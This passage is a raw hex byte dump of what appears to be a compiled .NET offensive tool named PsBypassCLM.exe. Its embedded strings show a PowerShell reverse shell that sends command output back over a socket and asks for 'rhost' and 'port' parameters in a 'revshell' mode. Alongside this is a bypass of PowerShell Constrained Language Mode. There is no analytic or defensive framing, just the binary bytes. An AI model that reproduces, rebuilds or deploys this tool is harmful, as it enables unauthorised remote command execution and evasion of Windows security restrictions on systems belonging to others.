0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x65,0x00,0x72,0x00,0x72,0x00,0x6F,0x00,0x72,0x00,0x5B,0x00,0x30,0x00,0x5D,0x00,0x2E,0x00,0x54,0x00,0x6F,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x28,0x00,0x29,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x24,0x00,0x65,0x00,0x72,0x00,0x72,0x00,0x6F,0x00,0x72,0x00,0x5B,0x00,0x30,0x00,0x5D,0x00,0x2E,0x00,0x49,0x00,0x6E,0x00,0x76,0x00,0x6F,0x00,0x63,0x00,0x61,0x00,0x74,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x49,0x00,0x6E,0x00,0x66,0x00,0x6F,0x00,0x2E,0x00,0x50,0x00,0x6F,0x00,0x73,0x00,0x69,0x00,0x74,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x4D,0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x61,0x00,0x67,0x00,0x65,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x61,0x00,0x63,0x00,0x6B,0x00,0x32,0x00,0x20,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x20,0x00,0x22,0x00,0x45,0x00,0x52,0x00,0x52,0x00,0x4F,0x00,0x52,0x00,0x3A,0x00,0x20,0x00,0x22,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x24,0x00,0x65,0x00,0x72,0x00,0x72,0x00,0x6F,0x00,0x72,0x00,0x5B,0x00,0x30,0x00,0x5D,0x00,0x2E,0x00,0x54,0x00,0x6F,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x28,0x00,0x29,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x22,0x00,0x60,0x00,0x6E,0x00,0x60,0x00,0x6E,0x00,0x22,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x22,0x00,0x50,0x00,0x53,0x00,0x20,0x00,0x22,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x28,0x00,0x70,0x00,0x77,0x00,0x64,0x00,0x29,0x00,0x2E,0x00,0x50,0x00,0x61,0x00,0x74,0x00,0x68,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x27,0x00,0x3E,0x00,0x20,0x00,0x27,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x7D,0x00,0x09,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x28,0x00,0x5B,0x00,0x74,0x00,0x65,0x00,0x78,0x00,0x74,0x00,0x2E,0x00,0x65,0x00,0x6E,0x00,0x63,0x00,0x6F,0x00,0x64,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x5D,0x00,0x3A,0x00,0x3A,0x00,0x41,0x00,0x53,0x00,0x43,0x00,0x49,0x00,0x49,0x00,0x29,0x00,0x2E,0x00,0x47,0x00,0x65,0x00,0x74,0x00,0x42,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x73,0x00,0x28,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x61,0x00,0x63,0x00,0x6B,0x00,0x32,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x74,0x00,0x72,0x00,0x65,0x00,0x61,0x00,0x6D,0x00,0x2E,0x00,0x57,0x00,0x72,0x00,0x69,0x00,0x74,0x00,0x65,0x00,0x28,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x2C,0x00,0x30,0x00,0x2C,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x2E,0x00,0x4C,0x00,0x65,0x00,0x6E,0x00,0x67,0x00,0x74,0x00,0x68,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x74,0x00,0x72,0x00,0x65,0x00,0x61,0x00,0x6D,0x00,0x2E,0x00,0x46,0x00,0x6C,0x00,0x75,0x00,0x73,0x00,0x68,0x00,0x28,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x7D,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x63,0x00,0x6C,0x00,0x69,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x2E,0x00,0x43,0x00,0x6C,0x00,0x6F,0x00,0x73,0x00,0x65,0x00,0x28,0x00,0x29,0x00,0x3B,0x00,0x01,0x51,0x54,0x00,0x79,0x00,0x70,0x00,0x65,0x00,0x20,0x00,0x79,0x00,0x6F,0x00,0x75,0x00,0x72,0x00,0x20,0x00,0x50,0x00,0x30,0x00,0x77,0x00,0x33,0x00,0x72,0x00,0x53,0x00,0x68,0x00,0x33,0x00,0x6C,0x00,0x6C,0x00,0x20,0x00,0x63,0x00,0x6F,0x00,0x6D,0x00,0x6D,0x00,0x61,0x00,0x6E,0x00,0x64,0x00,0x20,0x00,0x64,0x00,0x6F,0x00,0x77,0x00,0x6E,0x00,0x20,0x00,0x68,0x00,0x65,0x00,0x72,0x00,0x65,0x00,0x20,0x00,0x0A,0x00,0x00,0x0F,0x7B,0x00,0x52,0x00,0x48,0x00,0x4F,0x00,0x53,0x00,0x54,0x00,0x7D,0x00,0x00,0x0D,0x7B,0x00,0x50,0x00,0x4F,0x00,0x52,0x00,0x54,0x00,0x7D,0x00,0x00,0x0B,0x50,0x00,0x53,0x00,0x20,0x00,0x3E,0x00,0x20,0x00,0x00,0x15,0x4F,0x00,0x75,0x00,0x74,0x00,0x2D,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x01,0x35,0x54,0x00,0x72,0x00,0x79,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x20,0x00,0x74,0x00,0x6F,0x00,0x20,0x00,0x63,0x00,0x6F,0x00,0x6E,0x00,0x6E,0x00,0x65,0x00,0x63,0x00,0x74,0x00,0x20,0x00,0x62,0x00,0x61,0x00,0x63,0x00,0x6B,0x00,0x2E,0x00,0x2E,0x00,0x2E,0x00,0x0A,0x00,0x00,0x07,0x7B,0x00,0x30,0x00,0x7D,0x00,0x00,0x09,0x65,0x00,0x78,0x00,0x69,0x00,0x74,0x00,0x00,0x11,0x72,0x00,0x65,0x00,0x76,0x00,0x73,0x00,0x68,0x00,0x65,0x00,0x6C,0x00,0x6C,0x00,0x00,0x0B,0x72,0x00,0x68,0x00,0x6F,0x00,0x73,0x00,0x74,0x00,0x00,0x5B,0x4D,0x00,0x61,0x00,0x6E,0x00,0x64,0x00,0x61,0x00,0x74,0x00,0x6F,0x00,0x72,0x00,0x79,0x00,0x20,0x00,0x70,0x00,0x61,0x00,0x72,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x74,0x00,0x65,0x00,0x72,0x00,0x20,0x00,0x27,0x00,0x72,0x00,0x68,0x00,0x6F,0x00,0x73,0x00,0x74,0x00,0x27,0x00,0x20,0x00,0x66,0x00,0x6F,0x00,0x72,0x00,0x20,0x00,0x72,0x00,0x65,0x00,0x76,0x00,0x73,0x00,0x68,0x00,0x65,0x00,0x6C,0x00,0x6C,0x00,0x20,0x00,0x6D,0x00,0x6F,0x00,0x64,0x00,0x65,0x00,0x01,0x0B,0x72,0x00,0x70,0x00,0x6F,0x00,0x72,0x00,0x74,0x00,0x00,0x59,0x4D,0x00,0x61,0x00,0x6E,0x00,0x64,0x00,0x61,0x00,0x74,0x00,0x6F,0x00,0x72,0x00,0x79,0x00,0x20,0x00,0x70,0x00,0x61,0x00,0x72,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x74,0x00,0x65,0x00,0x72,0x00,0x20,0x00,0x27,0x00,0x70,0x00,0x6F,0x00,0x72,0x00,0x74,0x00,0x27,0x00,0x20,0x00,0x66,0x00,0x6F,0x00,0x72,0x00,0x20,0x00,0x72,0x00,0x65,0x00,0x76,0x00,0x73,0x00,0x68,0x00,0x65,0x00,0x6C,0x00,0x6C,0x00,0x20,0x00,0x6D,0x00,0x6F,0x00,0x64,0x00,0x65,0x00,0x01,0x00,0x00,0x00,0xEB,0xE0,0x7B,0x83,0x5F,0xA0,0xB0,0x43,0x96,0x59,0x1F,0xC0,0xEF,0x7F,0xE8,0x62,0x00,0x04,0x20,0x01,0x01,0x08,0x03,0x20,0x00,0x01,0x05,0x20,0x01,0x01,0x11,0x11,0x04,0x20,0x01,0x01,0x0E,0x04,0x20,0x01,0x01,0x02,0x17,0x07,0x0B,0x0E,0x0E,0x0E,0x02,0x12,0x45,0x0E,0x12,0x49,0x12,0x4D,0x15,0x12,0x51,0x01,0x12,0x55,0x12,0x55,0x12,0x59,0x04,0x00,0x01,0x02,0x0E,0x04,0x00,0x00,0x12,0x45,0x05,0x20,0x01,0x01,0x12,0x45,0x09,0x20,0x01,0x15,0x12,0x75,0x01,0x12,0x55,0x0E,0x04,0x00,0x01,0x01,0x0E,0x05,0x20,0x02,0x0E,0x0E,0x0E,0x03,0x00,0x00,0x0E,0x04,0x20,0x00,0x12,0x49,0x04,0x20,0x00,0x12,0x7D,0x08,0x20,0x00,0x15,0x12,0x75,0x01,0x12,0x55,0x06,0x15,0x12,0x75,0x01,0x12,0x55,0x08,0x20,0x00,0x15,0x12,0x51,0x01,0x13,0x00,0x06,0x15,0x12,0x51,0x01,0x12,0x55,0x04,0x20,0x00,0x13,0x00,0x03,0x20,0x00,0x0E,0x05,0x20,0x01,0x12,0x4D,0x0E,0x03,0x20,0x00,0x02,0x05,0x00,0x02,0x01,0x0E,0x1C,0x05,0x00,0x02,0x02,0x0E,0x0E,0x04,0x07,0x02,0x0E,0x0E,0x05,0x20,0x00,0x12,0x80,0x89,0x05,0x20,0x00,0x12,0x80,0x8D,0x04,0x20,0x01,0x0E,0x0E,0x08,0xB7,0x7A,0x5C,0x56,0x19,0x34,0xE0,0x89,0x08,0x31,0xBF,0x38,0x56,0xAD,0x36,0x4E,0x35,0x08,0xB0,0x3F,0x5F,0x7F,0x11,0xD5,0x0A,0x3A,0x05,0x00,0x01,0x01,0x1D,0x0E,0x05,0x20,0x01,0x01,0x12,0x65,0x08,0x01,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x1E,0x01,0x00,0x01,0x00,0x54,0x02,0x16,0x57,0x72,0x61,0x70,0x4E,0x6F,0x6E,0x45,0x78,0x63,0x65,0x70,0x74,0x69,0x6F,0x6E,0x54,0x68,0x72,0x6F,0x77,0x73,0x01,0x08,0x01,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x0A,0x01,0x00,0x05,0x50,0x73,0x42,0x79,0x32,0x00,0x00,0x05,0x01,0x00,0x00,0x00,0x00,0x17,0x01,0x00,0x12,0x43,0x6F,0x70,0x79,0x72,0x69,0x67,0x68,0x74,0x20,0xC2,0xA9,0x20,0x20,0x32,0x30,0x31,0x38,0x00,0x00,0x29,0x01,0x00,0x24,0x34,0x36,0x30,0x33,0x34,0x30,0x33,0x38,0x2D,0x30,0x31,0x31,0x33,0x2D,0x34,0x64,0x37,0x35,0x2D,0x38,0x31,0x66,0x64,0x2D,0x65,0x62,0x33,0x62,0x34,0x38,0x33,0x66,0x32,0x36,0x36,0x32,0x00,0x00,0x0C,0x01,0x00,0x07,0x31,0x2E,0x30,0x2E,0x30,0x2E,0x30,0x00,0x00,0x49,0x01,0x00,0x1A,0x2E,0x4E,0x45,0x54,0x46,0x72,0x61,0x6D,0x65,0x77,0x6F,0x72,0x6B,0x2C,0x56,0x65,0x72,0x73,0x69,0x6F,0x6E,0x3D,0x76,0x34,0x2E,0x35,0x01,0x00,0x54,0x0E,0x14,0x46,0x72,0x61,0x6D,0x65,0x77,0x6F,0x72,0x6B,0x44,0x69,0x73,0x70,0x6C,0x61,0x79,0x4E,0x61,0x6D,0x65,0x12,0x2E,0x4E,0x45,0x54,0x20,0x46,0x72,0x61,0x6D,0x65,0x77,0x6F,0x72,0x6B,0x20,0x34,0x2E,0x35,0x05,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xD0,0x95,0xEC,0x5F,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x1C,0x01,0x00,0x00,0x20,0x3B,0x00,0x00,0x20,0x1D,0x00,0x00,0x52,0x53,0x44,0x53,0xC3,0x49,0xF6,0x6C,0x98,0x26,0x53,0x44,0xA3,0xF3,0x11,0x2C,0x19,0xB4,0x61,0x35,0x01,0x00,0x00,0x00,0x43,0x3A,0x5C,0x74,0x65,0x6D,0x70,0x5C,0x50,0x53,0x42,0x79,0x50,0x61,0x73,0x73,0x43,0x4C,0x4D,0x2D,0x6D,0x61,0x73,0x74,0x65,0x72,0x5C,0x50,0x53,0x42,0x79,0x50,0x61,0x73,0x73,0x43,0x4C,0x4D,0x2D,0x6D,0x61,0x73,0x74,0x65,0x72,0x5C,0x50,0x53,0x42,0x79,0x70,0x61,0x73,0x73,0x43,0x4C,0x4D,0x5C,0x50,0x53,0x42,0x79,0x70,0x61,0x73,0x73,0x43,0x4C,0x4D,0x5C,0x6F,0x62,0x6A,0x5C,0x52,0x65,0x6C,0x65,0x61,0x73,0x65,0x5C,0x50,0x73,0x42,0x79,0x70,0x61,0x73,0x73,0x43,0x4C,0x4D,0x2E,0x70,0x64,0x62,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x64,0x3C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7E,0x3C,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x3C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x5F,0x43,0x6F,0x72,0x45,0x78,0x65,0x4D,0x61,0x69,0x6E,0x00,0x6D,0x73,0x63,0x6F,0x72,0x65,0x65,0x2E,0x64,0x6C,0x6C,0x00,0x00,0x00,0x00,0x00,0xFF,0x25,0x00,0x20,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x10,0x00,0x00,0x00,0x20,0x00,0x00,0x80,0x18,0x00,0x00,0x00,0x50,0x00,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x38,0x00,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x68,0x00,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0xA4,0x03,0x00,0x00,0x90,0x40,0x00,0x00,0x14,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x14,0x03,0x34,0x00,0x00,0x00,0x56,0x00,0x53,0x00,0x5F,0x00,0x56,0x00,0x45,0x00,0x52,0x00,0x53,0x00,0x49,0x00,0x4F,0x00,0x4E,0x00,0x5F,0x00,0x49,0x00,0x4E,0x00,0x46,0x00,0x4F,0x00,0x00,0x00,0x00,0x00,0xBD,0x04,0xEF,0xFE,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x3F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x00,0x01,0x00,0x56,0x00,0x61,0x00,0x72,0x00,0x46,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x49,0x00,0x6E,0x00,0x66,0x00,0x6F,0x00,0x00,0x00,0x00,0x00,0x24,0x00,0x04,0x00,0x00,0x00,0x54,0x00,0x72,0x00,0x61,0x00,0x6E,0x00,0x73,0x00,0x6C,0x00,0x61,0x00,0x74,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xB0,0x04,0x74,0x02,0x00,0x00,0x01,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x46,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x49,0x00,0x6E,0x00,0x66,0x00,0x6F,0x00,0x00,0x00,0x50,0x02,0x00,0x00,0x01,0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x34,0x00,0x62,0x00,0x30,0x00,0x00,0x00,0x1A,0x00,0x01,0x00,0x01,0x00,0x43,0x00,0x6F,0x00,0x6D,0x00,0x6D,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x73,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x22,0x00,0x01,0x00,0x01,0x00,0x43,0x00,0x6F,0x00,0x6D,0x00,0x70,0x00,0x61,0x00,0x6E,0x00,0x79,0x00,0x4E,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x34,0x00,0x06,0x00,0x01,0x00,0x46,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x44,0x00,0x65,0x00,0x73,0x00,0x63,0x00,0x72,0x00,0x69,0x00,0x70,0x00,0x74,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0x50,0x00,0x73,0x00,0x42,0x00,0x79,0x00,0x32,0x00,0x00,0x00,0x30,0x00,0x08,0x00,0x01,0x00,0x46,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x56,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0x31,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00,0x30,0x00,0x00,0x00,0x40,0x00,0x10,0x00,0x01,0x00,0x49,0x00,0x6E,0x00,0x74,0x00,0x65,0x00,0x72,0x00,0x6E,0x00,0x61,0x00,0x6C,0x00,0x4E,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x00,0x00,0x50,0x00,0x73,0x00,0x42,0x00,0x79,0x00,0x70,0x00,0x61,0x00,0x73,0x00,0x73,0x00,0x43,0x00,0x4C,0x00,0x4D,0x00,0x2E,0x00,0x65,0x00,0x78,0x00,0x65,0x00,0x00,0x00,0x48,0x00,0x12,0x00,0x01,0x00,0x4C,0x00,0x65,0x00,0x67,0x00,0x61,0x00,0x6C,0x00,0x43,0x00,0x6F,0x00,0x70,0x00,0x79,0x00,0x72,0x00,0x69,0x00,0x67,0x00,0x68,0x00,0x74,0x00,0x00,0x00,0x43,0x00,0x6F,0x00,0x70,0x00,0x79,0x00,0x72,0x00,0x69,0x00,0x67,0x00,0x68,0x00,0x74,0x00,0x20,0x00,0xA9,0x00,0x20,0x00,0x20,0x00,0x32,0x00,0x30,0x00,0x31,0x00,0x38,0x00,0x00,0x00,0x2A,0x00,0x01,0x00,0x01,0x00,0x4C,0x00,0x65,0x00,0x67,0x00,0x61,0x00,0x6C,0x00,0x54,0x00,0x72,0x00,0x61,0x00,0x64,0x00,0x65,0x00,0x6D,0x00,0x61,0x00,0x72,0x00,0x6B,0x00,0x73,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x10,0x00,0x01,0x00,0x4F,0x00,0x72,0x00,0x69,0x00,0x67,0x00,0x69,0x00,0x6E,0x00,0x61,0x00,0x6C,0x00,0x46,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x6E,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x00,0x00,0x50,0x00,0x73,0x00,0x42,0x00,0x79,0x00,0x70,0x00,0x61,0x00,0x73,0x00,0x73,0x00,0x43,0x00,0x4C,0x00,0x4D,0x00,0x2E,0x00,0x65,0x00,0x78,0x00,0x65,0x00,0x00,0x00,0x2C,0x00,0x06,0x00,0x01,0x00,0x50,0x00,0x72,0x00,0x6F,0x00,0x64,0x00,0x75,0x00,0x63,